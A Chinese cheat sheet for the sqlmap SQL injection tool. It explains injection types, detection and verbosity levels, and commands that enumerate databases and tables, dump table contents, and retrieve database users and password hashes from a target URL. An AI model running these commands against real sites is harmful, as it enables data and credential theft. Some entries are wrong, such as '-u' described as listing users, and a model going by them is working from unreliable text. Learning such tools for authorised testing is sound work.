sqlmap支持5种不同类型的注入模式:
1、基于布尔类型的注入,即可根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回判断的时候,利用时间线是否延时来判断条件的真假。
3、基于报错的注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中,比如数据库报错的信息等。
4、联合查询注入,即可以使用Union的情况下注入。
5、堆叠查询注入,即可以同时执行多条语句时的注入。
探测等级
–level1:默认的等级,会进行基本的测试,包括GET和POST方式。
–level2: 在原有的基础上增加对cookie的检测。
–level3: 增加对User Agent、Referer 的检测
–lever4: 更多的payload
–level5: 最高等级,包含所有的payload,会尝试自动破解出cookie、xff等头部注入。(速度最慢)
运行级别
sqlmap中共有七个等级,默认等级为1
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
显示调试信息
-v 显示调用信息有7个级别
0,只显示python错误以及严重的信息
1,同时显示基本信息和警告信息
2,同时显示debug信息
3,同时显示注入的payload
4,同时显示http请求
5,同时显示http响应头
6,同时显示http 响应页面
命令
一个字符是-,一个单词是--
-b --banner 检索数据库管理系统的版本
-f --fingerprint 查询数据库的版本指纹(得到的结果比-b参数要详细的多)
-u 查看数据库的用户
--threads 5 //线程数
--batch //自动回复
--smart //当有大量目标时,这个就只检查基于错误的注入点
--answer //这个可对一些特定的问题作出回答,在自动化注入中常用
sqlmap方式
关于sqlmap的基础命令,将url修改为需要注入的url即可
查询sqlmap是否存在注入命令
sqlmap.py -u url/?id=1
查询当前用户下的所有数据库
sqlmap.py -u url/?id=1 --dbs
获取数据库的表名
sqlmap.py -u url/?id=1 -D (数据库名) --tables
获取表中的字段名
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) --columns
获取字段的内容
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) -C (表内的字段名) --dump
查询数据库的所有用户
sqlmap.py -u url/?id=1 --users
查询数据库的所有密码
sqlmap.py -u url/?id=1 --passwords
查询数据库名称
sqlmap.py -u url/?id=1 --current-db